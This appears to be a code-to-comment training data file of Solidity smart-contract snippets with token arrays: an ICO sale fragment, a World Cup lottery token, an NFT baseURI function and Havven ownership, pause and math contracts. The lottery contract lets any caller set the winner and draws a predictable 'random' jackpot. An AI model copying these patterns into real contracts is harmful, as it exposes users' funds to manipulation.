//Lets check if tokens bought are less or more than remaining available
//tokens whit bonus
if(bonus2Remain > 0 && buyHelper > 0){
if(buyHelper <= bonus2Remain){ //If purchase is less
bonus2Remain = bonus2Remain.sub(buyHelper);//Sub from remaining
//Calculate the bonus for the total bought amount
bonus = bonus.add((buyHelper.mul(15)).div(100));//+15%
buyHelper = 0; //Clear buy helper
}else{ //If purchase is more
buyHelper = buyHelper.sub(bonus2Remain);//Sub from purchase helper the remaining
//Calculate bonus for the remaining bonus tokens
bonus = bonus.add((bonus2Remain.mul(15)).div(100));//+15%
bonus2Remain = 0; //Clear bonus remaining tokens
}
}
//Lets check if tokens bought are less or more than remaining available
//tokens whit bonus
if(bonus3Remain > 0 && buyHelper > 0){
if(buyHelper <= bonus3Remain){ //If purchase is less
bonus3Remain = bonus3Remain.sub(buyHelper);//Sub from remaining
//Calculate the bonus for the total bought amount
bonus = bonus.add(buyHelper.div(10));//+10%
buyHelper = 0; //Clear buy helper
}else{ //If purchase is more
buyHelper = buyHelper.sub(bonus3Remain);//Sub from purchase helper the remaining
//Calculate bonus for the remaining bonus tokens
bonus = bonus.add(bonus3Remain.div(10));//+10%
bonus3Remain = 0; //Clear bonus remaining tokens
}
}
//Lets check if tokens bought are less or more than remaining available
//tokens whit bonus
if(bonus4Remain > 0 && buyHelper > 0){
if(buyHelper <= bonus4Remain){ //If purchase is less
bonus4Remain = bonus4Remain.sub(buyHelper);//Sub from remaining
//Calculate the bonus for the total bought amount
bonus = bonus.add((buyHelper.mul(5)).div(100));//+5%
buyHelper = 0; //Clear buy helper
}else{ //If purchase is more
buyHelper = buyHelper.sub(bonus4Remain);//Sub from purchase helper the remaining
//Calculate bonus for the remaining bonus tokens
bonus = bonus.add((bonus4Remain.mul(5)).div(100));//+5%
bonus4Remain = 0; //Clear bonus remaining tokens
}
}
tokenBought = tokenBought.add(bonus); //Sum Up Bonus(es) to base purchase
require(totalDistributed.add(tokenBought) <= hardCap); //The total amount after sum up must not be more than the hardCap
pending[user] = pending[user].add(tokenBought); //Pending balance to distribute is updated
totalDistributed = totalDistributed.add(tokenBought); //Whole tokens sold updated
emit LogFundingReceived(user, msg.value, totalRaised); //Log the purchase
checkIfFundingCompleteOrExpired(); //Execute state checks
}
/**
* @notice Funtion to let users claim their tokens at the end of ico process
*/
function claimTokensByUser() public{
require(state == State.Successful); //Once ico is successful
uint256 temp = pending[msg.sender]; //Get the user pending balance
pending[msg.sender] = 0; //Clear it
require(tokenReward.transfer(msg.sender,temp)); //Try to transfer
emit LogContributorsPayout(msg.sender,temp); //Log the claim
}
/**
* @notice Funtion to let admins claim users tokens on behalf of them at the end of ico process
* @param _user Target user of token claim
*/
function claimTokensByAdmin(address _user) onlyAdmin(1) public{
require(state == State.Successful); //Once ico is successful
uint256 temp = pending[_user]; //Get the user pending balance
pending[_user] = 0; //Clear it
require(tokenReward.transfer(_user,temp)); //Try to transfer
emit LogContributorsPayout(_user,temp); //Log the claim
}
/**
* @notice Process to check contract current status
*/
function checkIfFundingCompleteOrExpired() public {
//If hardacap or deadline is reached and not yet successful
if ( (totalDistributed == hardCap || now > SaleDeadline)
&& state != State.Successful
&& state != State.Paused) {
//remanent tokens are assigned to creator for later handle
pending[creator] = tokenReward.balanceOf(address(this)).sub(totalDistributed);
state = State.Successful; //ICO becomes Successful
completedAt = now; //ICO is complete
emit LogFundingSuccessful(totalRaised); //we log the finish
successful(); //and execute closure
}
}
/**
* @notice successful closure handler
*/
function successful() public {
require(state == State.Successful); //When successful
uint256 temp = pending[creator]; //Remanent tokens handle
pending[creator] = 0; //Clear user balance
require(tokenReward.transfer(creator,temp)); //Try to transfer
emit LogContributorsPayout(creator,temp); //Log transaction
creator.transfer(address(this).balance); //After successful, eth is send to creator
emit LogBeneficiaryPaid(creator); //Log transaction
}
/**
* @notice Function to claim any token stuck on contract
* @param _address Address of target token
*/
function externalTokensRecovery(ERC20Basic _address) onlyAdmin(2) public{
require(state == State.Successful); //Only when sale finish
require(_address != address(tokenReward)); //Target token must be different from token on sale
uint256 remainder = _address.balanceOf(this); //Check remainder tokens
_address.transfer(msg.sender,remainder); //Transfer tokens to admin
}
/*
* @dev Direct payments handler
*/
function () public payable {
contribute(address(0)); //Forward to contribute function
}
} | If purchase is less
| if(buyHelper <= bonus1Remain){ | 1,513,640 | [
1,
2047,
23701,
353,
5242,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1850,
309,
12,
70,
9835,
2276,
1648,
324,
22889,
21,
1933,
530,
15329,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
//Address: 0x25CF4530240b77981310ABa4fc59897cd7B32bdB
//Contract name: WorldBetToken
//Balance: 0 Ether
//Verification Date: 3/17/2018
//Transacion Count: 483
// CODE STARTS HERE
pragma solidity ^0.4.18;
contract WorldBetToken {
/* Token name */
string public name = "World Bet Lottery Tickets";
/* Token Symbol */
string public symbol = "WBT";
/* Token digit*/
uint public decimals = 0;
mapping(uint => uint) private userBalanceOf; // user total amount of tickets
bool public stopped = false;
/* User*/
struct Country {
uint user; // country sequence id
uint balance; // total amount of bought tickets for this country
}
// installed when one country has won
uint public WINNER_COUNTRY_CODE = 0;
mapping(uint => bool) private countryIsPlaying;
/* Countries->Users*/
mapping(uint => Country[]) public users; // countries
/* Countries->Users*/
mapping(uint => uint[]) public countries; // countries
/* Jackpot Users*/
uint[] public jackpotUsers;
/* Jackpot Users*/
uint[] activeCountries;
/* Jackpot Eligibility*/
mapping(uint => bool) isJackpotEligible;
/* Jackpot Location*/
mapping(uint => uint) jackpotLocation;
// JACKPOT WINNER
uint public JACKPOT_WINNER = 0;
uint jackpotMaxCap = 100;
uint public totalSupply = 0;
address owner = 0x0;
modifier isOwner {
assert(owner == msg.sender);
_;
}
modifier isRunning {
assert(!stopped);
_;
}
modifier valAddress {
assert(0x0 != msg.sender);
_;
}
function WorldBetToken() public {
owner = msg.sender;
countryIsPlaying[1] = true;
// Argentina
countryIsPlaying[2] = true;
// Australia
countryIsPlaying[3] = true;
// Belgium
countryIsPlaying[4] = true;
// Brazil
countryIsPlaying[5] = true;
// Colombia
countryIsPlaying[6] = true;
// Costa Rica
countryIsPlaying[7] = true;
// Croatia
countryIsPlaying[8] = true;
// Denmark
countryIsPlaying[9] = true;
// Egypt
countryIsPlaying[10] = true;
// England
countryIsPlaying[11] = true;
// France
countryIsPlaying[12] = true;
// Germany
countryIsPlaying[13] = true;
// Iceland
countryIsPlaying[14] = true;
// Iran
countryIsPlaying[15] = true;
// Japan
countryIsPlaying[16] = true;
// Mexico
countryIsPlaying[17] = true;
// Morocco
countryIsPlaying[18] = true;
// Nigeria
countryIsPlaying[19] = true;
// Panama
countryIsPlaying[20] = true;
// Peru
countryIsPlaying[21] = true;
// Poland
countryIsPlaying[22] = true;
// Portugal
countryIsPlaying[23] = true;
// Russia
countryIsPlaying[24] = true;
// Saudi Arabia
countryIsPlaying[25] = true;
// Senegal
countryIsPlaying[26] = true;
// Serbia
countryIsPlaying[27] = true;
// South Korea
countryIsPlaying[28] = true;
// Spain
countryIsPlaying[29] = true;
// Sweden
countryIsPlaying[30] = true;
// Switzerland
countryIsPlaying[31] = true;
// Tunisia
countryIsPlaying[32] = true;
// Uruguay
}
function giveBalance(uint country, uint user, uint value) public isRunning returns (bool success) {
require(countryIsPlaying[country]);
require(WINNER_COUNTRY_CODE == 0);
// add user total amount of tickets
userBalanceOf[user] += value;
countries[country].push(user);
users[user].push(Country(user, value));
if (userBalanceOf[user] >= jackpotMaxCap && !isJackpotEligible[user]) {
jackpotUsers.push(user);
jackpotLocation[user] = jackpotUsers.length - 1;
}
// increase totalSupply
totalSupply += value;
// fire transfer event
Transfer(0x0, user, value);
return true;
}
function installWinner(uint country) public {
require(WINNER_COUNTRY_CODE == 0);
require(countryIsPlaying[country]);
WINNER_COUNTRY_CODE = country;
WinnerInstalled(WINNER_COUNTRY_CODE);
}
function removeCountry(uint country) public {
countryIsPlaying[country] = false;
CountryRemoved(country);
}
function playJackpot() public {
require(JACKPOT_WINNER == 0);
if (jackpotUsers.length >= 2) {
uint nonce = jackpotUsers.length;
uint max = jackpotUsers.length - 1;
uint randomNumber = uint(keccak256(nonce)) % max;
JACKPOT_WINNER = jackpotUsers[randomNumber];
} else {
JACKPOT_WINNER = jackpotUsers[0];
}
}
function winnerList() view public returns (uint[]){
return countries[WINNER_COUNTRY_CODE];
}
event Transfer(address indexed _from, uint indexed _to, uint _value);
event CountryRemoved(uint indexed country);
event WinnerInstalled(uint indexed country);
}
| Token name */ Token Symbol */ Token digit*/ User*/ | struct Country {
}
mapping(uint => bool) private countryIsPlaying;
uint jackpotMaxCap = 100;
uint public totalSupply = 0;
address owner = 0x0;
| 5,475,073 | [
1,
1345,
508,
342,
3155,
8565,
342,
3155,
8035,
19,
2177,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
1958,
19394,
288,
203,
565,
289,
203,
203,
203,
565,
2874,
12,
11890,
516,
1426,
13,
3238,
5251,
2520,
11765,
310,
31,
203,
203,
203,
203,
203,
203,
203,
203,
565,
2254,
525,
484,
13130,
2747,
4664,
273,
2130,
31,
203,
203,
565,
2254,
1071,
2078,
3088,
1283,
273,
374,
31,
203,
203,
565,
1758,
3410,
273,
374,
92,
20,
31,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/97/0xcAFb7532be59e33454b12E00fd0755a57Ce6a25E/sources/PFP_MSG/FinalBoomerang.sol | uri setting ================================================================================** @dev Description of _baseURI @return value : the base nft metadata location on ipfs/ | function _baseURI() internal view virtual override(ERC721A) returns (string memory) {
return baseURI_;
}
| 5,024,874 | [
1,
1650,
3637,
422,
9917,
26678,
225,
6507,
434,
389,
1969,
3098,
327,
460,
294,
326,
1026,
290,
1222,
1982,
2117,
603,
2359,
2556,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
1969,
3098,
1435,
2713,
1476,
5024,
3849,
12,
654,
39,
27,
5340,
37,
13,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
1026,
3098,
67,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: Owned.sol
version: 1.1
author: Anton Jurisevic
Dominic Romanowski
date: 2018-2-26
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
An Owned contract, to be inherited by other contracts.
Requires its owner to be explicitly set in the constructor.
Provides an onlyOwner access modifier.
To change owner, the current owner must nominate the next owner,
who then has to accept the nomination. The nomination can be
cancelled before it is accepted by the new owner by having the
previous owner change the nomination (setting it to 0).
-----------------------------------------------------------------
*/
pragma solidity 0.4.24;
/**
* @title A contract with an owner.
* @notice Contract ownership can be transferred by first nominating the new owner,
* who must then accept the ownership, which prevents accidental incorrect ownership transfers.
*/
contract Owned {
address public owner;
address public nominatedOwner;
/**
* @dev Owned Constructor
*/
constructor(address _owner)
public
{
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
/**
* @notice Nominate a new owner of this contract.
* @dev Only the current owner may nominate a new owner.
*/
function nominateNewOwner(address _owner)
external
onlyOwner
{
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
/**
* @notice Accept the nomination to be owner.
*/
function acceptOwnership()
external
{
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner
{
require(msg.sender == owner, "Only the contract owner may perform this action");
_;
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: SelfDestructible.sol
version: 1.2
author: Anton Jurisevic
date: 2018-05-29
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
This contract allows an inheriting contract to be destroyed after
its owner indicates an intention and then waits for a period
without changing their mind. All ether contained in the contract
is forwarded to a nominated beneficiary upon destruction.
-----------------------------------------------------------------
*/
/**
* @title A contract that can be destroyed by its owner after a delay elapses.
*/
contract SelfDestructible is Owned {
uint public initiationTime;
bool public selfDestructInitiated;
address public selfDestructBeneficiary;
uint public constant SELFDESTRUCT_DELAY = 4 weeks;
/**
* @dev Constructor
* @param _owner The account which controls this contract.
*/
constructor(address _owner)
Owned(_owner)
public
{
require(_owner != address(0), "Owner must not be the zero address");
selfDestructBeneficiary = _owner;
emit SelfDestructBeneficiaryUpdated(_owner);
}
/**
* @notice Set the beneficiary address of this contract.
* @dev Only the contract owner may call this. The provided beneficiary must be non-null.
* @param _beneficiary The address to pay any eth contained in this contract to upon self-destruction.
*/
function setSelfDestructBeneficiary(address _beneficiary)
external
onlyOwner
{
require(_beneficiary != address(0), "Beneficiary must not be the zero address");
selfDestructBeneficiary = _beneficiary;
emit SelfDestructBeneficiaryUpdated(_beneficiary);
}
/**
* @notice Begin the self-destruction counter of this contract.
* Once the delay has elapsed, the contract may be self-destructed.
* @dev Only the contract owner may call this.
*/
function initiateSelfDestruct()
external
onlyOwner
{
initiationTime = now;
selfDestructInitiated = true;
emit SelfDestructInitiated(SELFDESTRUCT_DELAY);
}
/**
* @notice Terminate and reset the self-destruction timer.
* @dev Only the contract owner may call this.
*/
function terminateSelfDestruct()
external
onlyOwner
{
initiationTime = 0;
selfDestructInitiated = false;
emit SelfDestructTerminated();
}
/**
* @notice If the self-destruction delay has elapsed, destroy this contract and
* remit any ether it owns to the beneficiary address.
* @dev Only the contract owner may call this.
*/
function selfDestruct()
external
onlyOwner
{
require(selfDestructInitiated, "Self destruct has not yet been initiated");
require(initiationTime + SELFDESTRUCT_DELAY < now, "Self destruct delay has not yet elapsed");
address beneficiary = selfDestructBeneficiary;
emit SelfDestructed(beneficiary);
selfdestruct(beneficiary);
}
event SelfDestructTerminated();
event SelfDestructed(address beneficiary);
event SelfDestructInitiated(uint selfDestructDelay);
event SelfDestructBeneficiaryUpdated(address newBeneficiary);
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: Pausable.sol
version: 1.0
author: Kevin Brown
date: 2018-05-22
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
This contract allows an inheriting contract to be marked as
paused. It also defines a modifier which can be used by the
inheriting contract to prevent actions while paused.
-----------------------------------------------------------------
*/
/**
* @title A contract that can be paused by its owner
*/
contract Pausable is Owned {
uint public lastPauseTime;
bool public paused;
/**
* @dev Constructor
* @param _owner The account which controls this contract.
*/
constructor(address _owner)
Owned(_owner)
public
{
// Paused will be false, and lastPauseTime will be 0 upon initialisation
}
/**
* @notice Change the paused state of the contract
* @dev Only the contract owner may call this.
*/
function setPaused(bool _paused)
external
onlyOwner
{
// Ensure we're actually changing the state before we do anything
if (_paused == paused) {
return;
}
// Set our paused state.
paused = _paused;
// If applicable, set the last pause time.
if (paused) {
lastPauseTime = now;
}
// Let everyone know that our pause state has changed.
emit PauseChanged(paused);
}
event PauseChanged(bool isPaused);
modifier notPaused {
require(!paused, "This action cannot be performed while the contract is paused");
_;
}
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: SafeDecimalMath.sol
version: 1.0
author: Anton Jurisevic
date: 2018-2-5
checked: Mike Spain
approved: Samuel Brooks
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
A fixed point decimal library that provides basic mathematical
operations, and checks for unsafe arguments, for example that
would lead to overflows.
Exceptions are thrown whenever those unsafe operations
occur.
-----------------------------------------------------------------
*/
/**
* @title Safely manipulate unsigned fixed-point decimals at a given precision level.
* @dev Functions accepting uints in this contract and derived contracts
* are taken to be such fixed point decimals (including fiat, ether, and nomin quantities).
*/
contract SafeDecimalMath {
/* Number of decimal places in the representation. */
uint8 public constant decimals = 18;
/* The number representing 1.0. */
uint public constant UNIT = 10 ** uint(decimals);
/**
* @return True iff adding x and y will not overflow.
*/
function addIsSafe(uint x, uint y)
pure
internal
returns (bool)
{
return x + y >= y;
}
/**
* @return The result of adding x and y, throwing an exception in case of overflow.
*/
function safeAdd(uint x, uint y)
pure
internal
returns (uint)
{
require(x + y >= y, "Safe add failed");
return x + y;
}
/**
* @return True iff subtracting y from x will not overflow in the negative direction.
*/
function subIsSafe(uint x, uint y)
pure
internal
returns (bool)
{
return y <= x;
}
/**
* @return The result of subtracting y from x, throwing an exception in case of overflow.
*/
function safeSub(uint x, uint y)
pure
internal
returns (uint)
{
require(y <= x, "Safe sub failed");
return x - y;
}
/**
* @return True iff multiplying x and y would not overflow.
*/
function mulIsSafe(uint x, uint y)
pure
internal
returns (bool)
{
if (x == 0) {
return true;
}
return (x * y) / x == y;
}
/**
* @return The result of multiplying x and y, throwing an exception in case of overflow.
*/
function safeMul(uint x, uint y)
pure
internal
returns (uint)
{
if (x == 0) {
return 0;
}
uint p = x * y;
require(p / x == y, "Safe mul failed");
return p;
}
/**
* @return The result of multiplying x and y, interpreting the operands as fixed-point
* decimals. Throws an exception in case of overflow.
*
* @dev A unit factor is divided out after the product of x and y is evaluated,
* so that product must be less than 2**256.
* Incidentally, the internal division always rounds down: one could have rounded to the nearest integer,
* but then one would be spending a significant fraction of a cent (of order a microether
* at present gas prices) in order to save less than one part in 0.5 * 10^18 per operation, if the operands
* contain small enough fractional components. It would also marginally diminish the
* domain this function is defined upon.
*/
function safeMul_dec(uint x, uint y)
pure
internal
returns (uint)
{
/* Divide by UNIT to remove the extra factor introduced by the product. */
return safeMul(x, y) / UNIT;
}
/**
* @return True iff the denominator of x/y is nonzero.
*/
function divIsSafe(uint x, uint y)
pure
internal
returns (bool)
{
return y != 0;
}
/**
* @return The result of dividing x by y, throwing an exception if the divisor is zero.
*/
function safeDiv(uint x, uint y)
pure
internal
returns (uint)
{
/* Although a 0 denominator already throws an exception,
* it is equivalent to a THROW operation, which consumes all gas.
* A require statement emits REVERT instead, which remits remaining gas. */
require(y != 0, "Denominator cannot be zero");
return x / y;
}
/**
* @return The result of dividing x by y, interpreting the operands as fixed point decimal numbers.
* @dev Throws an exception in case of overflow or zero divisor; x must be less than 2^256 / UNIT.
* Internal rounding is downward: a similar caveat holds as with safeDecMul().
*/
function safeDiv_dec(uint x, uint y)
pure
internal
returns (uint)
{
/* Reintroduce the UNIT factor that will be divided out by y. */
return safeDiv(safeMul(x, UNIT), y);
}
/**
* @dev Convert an unsigned integer to a unsigned fixed-point decimal.
* Throw an exception if the result would be out of range.
*/
function intToDec(uint i)
pure
internal
returns (uint)
{
return safeMul(i, UNIT);
}
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: State.sol
version: 1.1
author: Dominic Romanowski
Anton Jurisevic
date: 2018-05-15
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
This contract is used side by side with external state token
contracts, such as Havven and Nomin.
It provides an easy way to upgrade contract logic while
maintaining all user balances and allowances. This is designed
to make the changeover as easy as possible, since mappings
are not so cheap or straightforward to migrate.
The first deployed contract would create this state contract,
using it as its store of balances.
When a new contract is deployed, it links to the existing
state contract, whose owner would then change its associated
contract to the new one.
-----------------------------------------------------------------
*/
contract State is Owned {
// the address of the contract that can modify variables
// this can only be changed by the owner of this contract
address public associatedContract;
constructor(address _owner, address _associatedContract)
Owned(_owner)
public
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
/* ========== SETTERS ========== */
// Change the associated contract to a new address
function setAssociatedContract(address _associatedContract)
external
onlyOwner
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
/* ========== MODIFIERS ========== */
